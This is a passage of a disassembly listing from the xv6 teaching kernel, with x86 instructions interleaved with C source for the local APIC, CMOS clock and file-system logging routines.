by reading 80102734: 8b 50 20 mov 0x20(%eax),%edx 80102737: 90 nop lapicw(EOI, 0); // Send an Init Level De-Assert to synchronise arbitration ID's. lapicw(ICRHI, 0); lapicw(ICRLO, BCAST | INIT | LEVEL); while(lapic[ICRLO] & DELIVS) 80102738: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 8010273e: 80 e6 10 and $0x10,%dh 80102741: 75 f5 jne 80102738 <lapicinit+0xb8> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102743: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 8010274a: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010274d: 8b 40 20 mov 0x20(%eax),%eax while(lapic[ICRLO] & DELIVS) ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); } 80102750: 5d pop %ebp 80102751: c3 ret 80102752: 8d b6 00 00 00 00 lea 0x0(%esi),%esi //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102758: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 8010275f: 00 01 00 lapic[ID]; // wait for write to finish, by reading 80102762: 8b 50 20 mov 0x20(%eax),%edx 80102765: eb 82 jmp 801026e9 <lapicinit+0x69> 80102767: 89 f6 mov %esi,%esi 80102769: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102770 <lapicid>: } int lapicid(void) { if (!lapic) 80102770: a1 7c 26 11 80 mov 0x8011267c,%eax lapicw(TPR, 0); } int lapicid(void) { 80102775: 55 push %ebp 80102776: 89 e5 mov %esp,%ebp if (!lapic) 80102778: 85 c0 test %eax,%eax 8010277a: 74 0c je 80102788 <lapicid+0x18> return 0; return lapic[ID] >> 24; 8010277c: 8b 40 20 mov 0x20(%eax),%eax } 8010277f: 5d pop %ebp int lapicid(void) { if (!lapic) return 0; return lapic[ID] >> 24; 80102780: c1 e8 18 shr $0x18,%eax } 80102783: c3 ret 80102784: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int lapicid(void) { if (!lapic) return 0; 80102788: 31 c0 xor %eax,%eax return lapic[ID] >> 24; } 8010278a: 5d pop %ebp 8010278b: c3 ret 8010278c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102790 <lapiceoi>: // Acknowledge interrupt. void lapiceoi(void) { if(lapic) 80102790: a1 7c 26 11 80 mov 0x8011267c,%eax } // Acknowledge interrupt. void lapiceoi(void) { 80102795: 55 push %ebp 80102796: 89 e5 mov %esp,%ebp if(lapic) 80102798: 85 c0 test %eax,%eax 8010279a: 74 0d je 801027a9 <lapiceoi+0x19> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010279c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 801027a3: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801027a6: 8b 40 20 mov 0x20(%eax),%eax void lapiceoi(void) { if(lapic) lapicw(EOI, 0); } 801027a9: 5d pop %ebp 801027aa: c3 ret 801027ab: 90 nop 801027ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801027b0 <microdelay>: // Spin for a given number of microseconds. // On real hardware would want to tune this dynamically. void microdelay(int us) { 801027b0: 55 push %ebp 801027b1: 89 e5 mov %esp,%ebp } 801027b3: 5d pop %ebp 801027b4: c3 ret 801027b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801027b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801027c0 <lapicstartap>: // Start additional processor running entry code at addr. // See Appendix B of MultiProcessor Specification. void lapicstartap(uchar apicid, uint addr) { 801027c0: 55 push %ebp } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801027c1: ba 70 00 00 00 mov $0x70,%edx 801027c6: 89 e5 mov %esp,%ebp 801027c8: b8 0f 00 00 00 mov $0xf,%eax 801027cd: 53 push %ebx 801027ce: 8b 4d 08 mov 0x8(%ebp),%ecx 801027d1: 8b 5d 0c mov 0xc(%ebp),%ebx 801027d4: ee out %al,(%dx) 801027d5: b8 0a 00 00 00 mov $0xa,%eax 801027da: b2 71 mov $0x71,%dl 801027dc: ee out %al,(%dx) // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; 801027dd: 31 c0 xor %eax,%eax 801027df: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 801027e5: 89 d8 mov %ebx,%eax 801027e7: c1 e8 04 shr $0x4,%eax 801027ea: 66 a3 69 04 00 80 mov %ax,0x80000469 //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801027f0: a1 7c 26 11 80 mov 0x8011267c,%eax wrv[0] = 0; wrv[1] = addr >> 4; // "Universal startup algorithm." // Send INIT (level-triggered) interrupt to reset other CPU. lapicw(ICRHI, apicid<<24); 801027f5: c1 e1 18 shl $0x18,%ecx // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 801027f8: c1 eb 0c shr $0xc,%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801027fb: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102801: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102804: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 8010280b: c5 00 00 lapic[ID]; // wait for write to finish, by reading 8010280e: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102811: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 80102818: 85 00 00 lapic[ID]; // wait for write to finish, by reading 8010281b: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010281e: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102824: 8b 50 20 mov 0x20(%eax),%edx // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 80102827: 89 da mov %ebx,%edx 80102829: 80 ce 06 or $0x6,%dh //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010282c: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102832: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102835: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 8010283b: 8b 48 20 mov 0x20(%eax),%ecx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010283e: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102844: 8b 40 20 mov 0x20(%eax),%eax for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); microdelay(200); } } 80102847: 5b pop %ebx 80102848: 5d pop %ebp 80102849: c3 ret 8010284a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102850 <cmostime>: } // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 80102850: 55 push %ebp 80102851: ba 70 00 00 00 mov $0x70,%edx 80102856: 89 e5 mov %esp,%ebp 80102858: b8 0b 00 00 00 mov $0xb,%eax 8010285d: 57 push %edi 8010285e: 56 push %esi 8010285f: 53 push %ebx 80102860: 83 ec 4c sub $0x4c,%esp 80102863: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102864: b2 71 mov $0x71,%dl 80102866: ec in (%dx),%al 80102867: 88 45 b7 mov %al,-0x49(%ebp) 8010286a: 8d 5d b8 lea -0x48(%ebp),%ebx struct rtcdate t1, t2; int sb, bcd; sb = cmos_read(CMOS_STATB); bcd = (sb & (1 << 2)) == 0; 8010286d: 80 65 b7 04 andb $0x4,-0x49(%ebp) 80102871: 8d 7d d0 lea -0x30(%ebp),%edi 80102874: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102878: be 70 00 00 00 mov $0x70,%esi // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); 8010287d: 89 d8 mov %ebx,%eax 8010287f: e8 7c fd ff ff call 80102600 <fill_rtcdate> 80102884: b8 0a 00 00 00 mov $0xa,%eax 80102889: 89 f2 mov %esi,%edx 8010288b: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010288c: ba 71 00 00 00 mov $0x71,%edx 80102891: ec in (%dx),%al if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102892: 84 c0 test %al,%al 80102894: 78 e7 js 8010287d <cmostime+0x2d> continue; fill_rtcdate(&t2); 80102896: 89 f8 mov %edi,%eax 80102898: e8 63 fd ff ff call 80102600 <fill_rtcdate> if(memcmp(&t1, &t2, sizeof(t1)) == 0) 8010289d: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp) 801028a4: 00 801028a5: 89 7c 24 04 mov %edi,0x4(%esp) 801028a9: 89 1c 24 mov %ebx,(%esp) 801028ac: e8 8f 1a 00 00 call 80104340 <memcmp> 801028b1: 85 c0 test %eax,%eax 801028b3: 75 c3 jne 80102878 <cmostime+0x28> break; } // convert if(bcd) { 801028b5: 80 7d b7 00 cmpb $0x0,-0x49(%ebp) 801028b9: 75 78 jne 80102933 <cmostime+0xe3> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 801028bb: 8b 45 b8 mov -0x48(%ebp),%eax 801028be: 89 c2 mov %eax,%edx 801028c0: 83 e0 0f and $0xf,%eax 801028c3: c1 ea 04 shr $0x4,%edx 801028c6: 8d 14 92 lea (%edx,%edx,4),%edx 801028c9: 8d 04 50 lea (%eax,%edx,2),%eax 801028cc: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 801028cf: 8b 45 bc mov -0x44(%ebp),%eax 801028d2: 89 c2 mov %eax,%edx 801028d4: 83 e0 0f and $0xf,%eax 801028d7: c1 ea 04 shr $0x4,%edx 801028da: 8d 14 92 lea (%edx,%edx,4),%edx 801028dd: 8d 04 50 lea (%eax,%edx,2),%eax 801028e0: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 801028e3: 8b 45 c0 mov -0x40(%ebp),%eax 801028e6: 89 c2 mov %eax,%edx 801028e8: 83 e0 0f and $0xf,%eax 801028eb: c1 ea 04 shr $0x4,%edx 801028ee: 8d 14 92 lea (%edx,%edx,4),%edx 801028f1: 8d 04 50 lea (%eax,%edx,2),%eax 801028f4: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 801028f7: 8b 45 c4 mov -0x3c(%ebp),%eax 801028fa: 89 c2 mov %eax,%edx 801028fc: 83 e0 0f and $0xf,%eax 801028ff: c1 ea 04 shr $0x4,%edx 80102902: 8d 14 92 lea (%edx,%edx,4),%edx 80102905: 8d 04 50 lea (%eax,%edx,2),%eax 80102908: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 8010290b: 8b 45 c8 mov -0x38(%ebp),%eax 8010290e: 89 c2 mov %eax,%edx 80102910: 83 e0 0f and $0xf,%eax 80102913: c1 ea 04 shr $0x4,%edx 80102916: 8d 14 92 lea (%edx,%edx,4),%edx 80102919: 8d 04 50 lea (%eax,%edx,2),%eax 8010291c: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 8010291f: 8b 45 cc mov -0x34(%ebp),%eax 80102922: 89 c2 mov %eax,%edx 80102924: 83 e0 0f and $0xf,%eax 80102927: c1 ea 04 shr $0x4,%edx 8010292a: 8d 14 92 lea (%edx,%edx,4),%edx 8010292d: 8d 04 50 lea (%eax,%edx,2),%eax 80102930: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 80102933: 8b 4d 08 mov 0x8(%ebp),%ecx 80102936: 8b 45 b8 mov -0x48(%ebp),%eax 80102939: 89 01 mov %eax,(%ecx) 8010293b: 8b 45 bc mov -0x44(%ebp),%eax 8010293e: 89 41 04 mov %eax,0x4(%ecx) 80102941: 8b 45 c0 mov -0x40(%ebp),%eax 80102944: 89 41 08 mov %eax,0x8(%ecx) 80102947: 8b 45 c4 mov -0x3c(%ebp),%eax 8010294a: 89 41 0c mov %eax,0xc(%ecx) 8010294d: 8b 45 c8 mov -0x38(%ebp),%eax 80102950: 89 41 10 mov %eax,0x10(%ecx) 80102953: 8b 45 cc mov -0x34(%ebp),%eax 80102956: 89 41 14 mov %eax,0x14(%ecx) r->year += 2000; 80102959: 81 41 14 d0 07 00 00 addl $0x7d0,0x14(%ecx) } 80102960: 83 c4 4c add $0x4c,%esp 80102963: 5b pop %ebx 80102964: 5e pop %esi 80102965: 5f pop %edi 80102966: 5d pop %ebp 80102967: c3 ret 80102968: 66 90 xchg %ax,%ax 8010296a: 66 90 xchg %ax,%ax 8010296c: 66 90 xchg %ax,%ax 8010296e: 66 90 xchg %ax,%ax 80102970 <install_trans>: } // Copy committed blocks from log to their home location static void install_trans(void) { 80102970: 55 push %ebp 80102971: 89 e5 mov %esp,%ebp 80102973: 57 push %edi 80102974: 56 push %esi 80102975: 53 push %ebx int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102976: 31 db xor %ebx,%ebx } // Copy committed blocks from log to their home location static void install_trans(void) { 80102978: 83 ec 1c sub $0x1c,%esp int tail; for (tail = 0; tail < log.lh.n; tail++) { 8010297b: a1 c8 26 11 80 mov 0x801126c8,%eax 80102980: 85 c0 test %eax,%eax 80102982: 7e 78 jle 801029fc <install_trans+0x8c> 80102984: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80102988: a1 b4 26 11 80 mov 0x801126b4,%eax 8010298d: 01 d8 add %ebx,%eax 8010298f: 83 c0 01 add $0x1,%eax 80102992: 89 44 24 04 mov %eax,0x4(%esp) 80102996: a1 c4 26 11 80 mov 0x801126c4,%eax 8010299b: 89 04 24 mov %eax,(%esp) 8010299e: e8 2d d7 ff ff call 801000d0 <bread> 801029a3: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029a5: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 801029ac: 83 c3 01 add $0x1,%ebx struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029af: 89 44 24 04 mov %eax,0x4(%esp) 801029b3: a1 c4 26 11 80 mov 0x801126c4,%eax 801029b8: 89 04 24 mov %eax,(%esp) 801029bb: e8 10 d7 ff ff call 801000d0 <bread> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801029c0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 801029c7: 00 { int tail; for (tail = 0; tail < log.lh.n; tail++) { struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029c8: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801029ca: 8d 47 5c lea 0x5c(%edi),%eax 801029cd: 89 44 24 04 mov %eax,0x4(%esp) 801029d1: 8d 46 5c lea 0x5c(%esi),%eax 801029d4: 89 04 24 mov %eax,(%esp) 801029d7: e8 b4 19 00 00 call 80104390 <memmove> bwrite(dbuf); // write dst to disk 801029dc: 89 34 24 mov %esi,(%esp) 801029df: e8 bc d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 801029e4: 89 3c 24 mov %edi,(%esp) 801029e7: e8 f4 d7 ff ff call 801001e0 <brelse> brelse(dbuf); 801029ec: 89 34 24 mov %esi,(%esp) 801029ef: e8 ec d7 ff ff call 801001e0 <brelse> static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 801029f4: 39 1d c8 26 11 80 cmp %ebx,0x801126c8 801029fa: 7f 8c jg 80102988 <install_trans+0x18> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst bwrite(dbuf); // write dst to disk brelse(lbuf); brelse(dbuf); } } 801029fc: 83 c4 1c add $0x1c,%esp 801029ff: 5b pop %ebx 80102a00: 5e pop %esi 80102a01: 5f pop %edi 80102a02: 5d pop %ebp 80102a03: c3 ret 80102a04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102a0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80102a10 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80102a10: 55 push %ebp 80102a11: 89 e5 mov %esp,%ebp 80102a13: 57 push %edi 80102a14: 56 push %esi 80102a15: 53 push %ebx 80102a16: 83 ec 1c sub $0x1c,%esp struct buf *buf = bread(log.dev, log.start); 80102a19: a1 b4 26 11 80 mov 0x801126b4,%eax 80102a1e: 89 44 24 04 mov %eax,0x4(%esp) 80102a22: a1 c4 26 11 80 mov 0x801126c4,%eax 80102a27: 89 04 24 mov %eax,(%esp) 80102a2a: e8 a1 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102a2f: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx for (i = 0; i < log.lh.n; i++) { 80102a35: 31 d2 xor %edx,%edx 80102a37: 85 db test %ebx,%ebx // This is the true point at which the // current transaction commits. static void write_head(void) { struct buf *buf = bread(log.dev, log.start); 80102a39: 89 c7 mov %eax,%edi struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102a3b: 89 58 5c mov %ebx,0x5c(%eax) 80102a3e: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102a41: 7e 17 jle 80102a5a <write_head+0x4a> 80102a43: 90 nop 80102a44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi hb->block[i] = log.lh.block[i]; 80102a48: 8b 0c 95 cc 26 11 80 mov -0x7feed934(,%edx,4),%ecx 80102a4f: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4) { struct buf *buf = bread(log.dev, log.start); struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; for (i = 0; i < log.lh.n; i++) { 80102a53: 83 c2 01 add $0x1,%edx 80102a56: 39 da cmp %ebx,%edx 80102a58: 75 ee jne 80102a48 <write_head+0x38> hb->block[i] = log.lh.block[i]; } bwrite(buf); 80102a5a: 89 3c 24 mov %edi,(%esp) 80102a5d: e8 3e d7 ff ff call 801001a0 <bwrite> brelse(buf); 80102a62: 89 3c 24 mov %edi,(%esp) 80102a65: e8 76 d7 ff ff call 801001e0 <brelse> } 80102a6a: 83 c4 1c add $0x1c,%esp 80102a6d: 5b pop %ebx 80102a6e: 5e pop %esi 80102a6f: 5f pop %edi 80102a70: 5d pop %ebp 80102a71: c3 ret 80102a72: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102a79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102a80 <initlog>: static void recover_from_log(void); static void commit(); void initlog(int dev) { 80102a80: 55 push %ebp 80102a81: 89 e5 mov %esp,%ebp 80102a83: 56 push %esi 80102a84: 53 push %ebx 80102a85: 83 ec 30 sub $0x30,%esp 80102a88: 8b 5d 08 mov 0x8(%ebp),%ebx if (sizeof(struct logheader) >= BSIZE) panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); 80102a8b: c7 44 24 04 00 75 10 movl $0x80107500,0x4(%esp) 80102a92: 80 80102a93: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102a9a: e8 21 16 00 00 call 801040c0 <initlock> readsb(dev, &sb); 80102a9f: 8d 45 dc lea -0x24(%ebp),%eax 80102aa2: 89 44 24 04 mov %eax,0x4(%esp) 80102aa6: 89 1c 24 mov %ebx,(%esp) 80102aa9: e8 f2 e8 ff ff call 801013a0 <readsb> log.start = sb.logstart; 80102aae: 8b 45 ec mov -0x14(%ebp),%eax log.size = sb.nlog; 80102ab1: 8b 55 e8 mov -0x18(%ebp),%edx // Read the log header from disk into the in-memory log header static void read_head(void) { struct buf *buf = bread(log.dev, log.start); 80102ab4: 89 1c 24 mov %ebx,(%esp) struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; log.size = sb.nlog; log.dev = dev; 80102ab7: 89 1d c4 26 11 80 mov %ebx,0x801126c4 // Read the log header from disk into the in-memory log header static void read_head(void) { struct buf *buf = bread(log.dev, log.start); 80102abd: 89 44 24 04 mov %eax,0x4(%esp) struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; log.size = sb.nlog; 80102ac1: 89 15 b8 26 11 80 mov %edx,0x801126b8 panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); readsb(dev, &sb); log.start = sb.logstart; 80102ac7: a3 b4 26 11 80 mov %eax,0x801126b4 // Read the log header from disk into the in-memory log header static void read_head(void) { struct buf *buf = bread(log.dev, log.start); 80102acc: e8 ff d5 ff ff call 801000d0 <bread> struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; for (i = 0; i < log.lh.n; i++) { 80102ad1: 31 d2 xor %edx,%edx read_head(void) { struct buf *buf = bread(log.dev, log.start); struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; 80102ad3: 8b 58 5c mov 0x5c(%eax),%ebx 80102ad6: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102ad9: 85 db test %ebx,%ebx read_head(void) { struct buf *buf = bread(log.dev, log.start); struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; 80102adb: 89 1d c8 26 11 80 mov %ebx,0x801126c8 for (i = 0; i < log.lh.n; i++) { 80102ae1: 7e 17 jle 80102afa <initlog+0x7a> 80102ae3: 90 nop 80102ae4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi log.lh.block[i] = lh->block[i]; 80102ae8: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx 80102aec: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) { struct buf *buf = bread(log.dev, log.start); struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; for (i = 0; i < log.lh.n; i++) { 80102af3: 83 c2 01 add $0x1,%edx 80102af6: 39 da cmp %ebx,%edx 80102af8: 75 ee jne 80102ae8 <initlog+0x68> log.lh.block[i] = lh->block[i]; } brelse(buf); 80102afa: 89 04 24 mov %eax,(%esp) 80102afd: e8 de d6 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102b02: e8 69 fe ff ff call 80102970 <install_trans> log.lh.n = 0; 80102b07: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102b0e: 00 00 00 write_head(); // clear the log 80102b11: e8 fa fe ff ff call 80102a10 <write_head> readsb(dev, &sb); log.start = sb.logstart; log.size = sb.nlog; log.dev = dev; recover_from_log(); } 80102b16: 83 c4 30 add $0x30,%esp 80102b19: 5b pop %ebx 80102b1a: 5e pop %esi 80102b1b: 5d pop %ebp 80102b1c: c3 ret 80102b1d: 8d 76 00 lea 0x0(%esi),%esi 80102b20 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102b20: 55 push %ebp 80102b21: 89 e5 mov %esp,%ebp 80102b23: 83 ec 18 sub $0x18,%esp acquire(&log.lock); 80102b26: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b2d: e8 fe 16 00 00 call 80104230 <acquire> 80102b32: eb 18 jmp 80102b4c <begin_op+0x2c> 80102b34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102b38: c7 44 24 04 80 26 11 movl $0x80112680,0x4(%esp) 80102b3f: 80 80102b40: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b47: e8 e4 10 00 00 call 80103c30 <sleep> void begin_op(void) { acquire(&log.lock); while(1){ if(log.committing){ 80102b4c: a1 c0 26 11 80 mov 0x801126c0,%eax 80102b51: 85 c0 test %eax,%eax 80102b53: 75 e3 jne 80102b38 <begin_op+0x18> sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102b55: a1 bc 26 11 80 mov 0x801126bc,%eax 80102b5a: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102b60: 83 c0 01 add $0x1,%eax 80102b63: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102b66: 8d 14 4a lea (%edx,%ecx,2),%edx 80102b69: 83 fa 1e cmp $0x1e,%edx 80102b6c: 7f ca jg 80102b38 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102b6e: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; 80102b75: a3 bc 26 11 80 mov %eax,0x801126bc release(&log.lock); 80102b7a: e8 21 17 00 00 call 801042a0 <release> break; } } } 80102b7f: c9 leave 80102b80: c3 ret 80102b81: eb 0d jmp 80102b90 <end_op> 80102b83: 90 nop 80102b84: 90 nop 80102b85: 90 nop 80102b86: 90 nop 80102b87: 90 nop 80102b88: 90 nop 80102b89: 90 nop 80102b8a: 90 nop 80102b8b: 90 nop 80102b8c: 90 nop 80102b8d: 90 nop 80102b8e: 90 nop 80102b8f: 90 nop 80102b90 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102b90: 55 push %ebp 80102b91: 89 e5 mov %esp,%ebp 80102b93: 57 push %edi 80102b94: 56 push %esi 80102b95: 53 push %ebx 80102b96: 83 ec 1c sub $0x1c,%esp int do_commit = 0; acquire(&log.lock); 80102b99: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102ba0: e8 8b 16 00 00 call 80104230 <acquire> log.outstanding -= 1; 80102ba5: a1 bc 26 11 80 mov 0x801126bc,%eax if(log.committing) 80102baa: 8b 15 c0 26 11 80 mov 0x801126c0,%edx end_op(void) { int do_commit = 0; acquire(&log.lock); log.outstanding -= 1; 80102bb0: 83 e8 01 sub $0x1,%eax if(log.committing) 80102bb3: 85 d2 test %edx,%edx end_op(void) { int do_commit = 0; acquire(&log.lock); log.outstanding -= 1; 80102bb5: a3 bc 26 11 80 mov %eax,0x801126bc if(log.committing) 80102bba: 0f 85 f3 00 00 00 jne 80102cb3 <end_op+0x123> panic("log.committing"); if(log.outstanding == 0){ 80102bc0: 85 c0 test %eax,%eax 80102bc2: 0f 85 cb 00 00 00 jne 80102c93 <end_op+0x103> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102bc8: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) } static void commit() { if (log.lh.n > 0) { 80102bcf: 31 db xor %ebx,%ebx log.outstanding -= 1; if(log.committing) panic("log.committing"); if(log.outstanding == 0){ do_commit = 1; log.committing = 1; 80102bd1: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0 80102bd8: 00 00 00 // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102bdb: e8 c0 16 00 00 call 801042a0 <release> } static void commit() { if (log.lh.n > 0) { 80102be0: a1 c8 26 11 80 mov 0x801126c8,%eax 80102be5: 85 c0 test %eax,%eax 80102be7: 0f 8e 90 00 00 00 jle 80102c7d <end_op+0xed> 80102bed: 8d 76 00 lea 0x0(%esi),%esi write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102bf0: a1 b4 26 11 80 mov 0x801126b4,%eax 80102bf5: 01 d8 add %ebx,%eax 80102bf7: 83 c0 01 add $0x1,%eax 80102bfa: 89 44 24 04 mov %eax,0x4(%esp) 80102bfe: a1 c4 26 11 80 mov 0x801126c4,%eax 80102c03: 89 04 24 mov %eax,(%esp) 80102c06: e8 c5 d4 ff ff call 801000d0 <bread> 80102c0b: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c0d: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax static void write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102c14: 83 c3 01 add $0x1,%ebx struct buf *to = bread(log.dev, log.start+tail+1); // log block struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c17: 89 44 24 04 mov %eax,0x4(%esp) 80102c1b: a1 c4 26 11 80 mov 0x801126c4,%eax 80102c20: 89 04 24 mov %eax,(%esp) 80102c23: e8 a8 d4 ff ff call 801000d0 <bread> 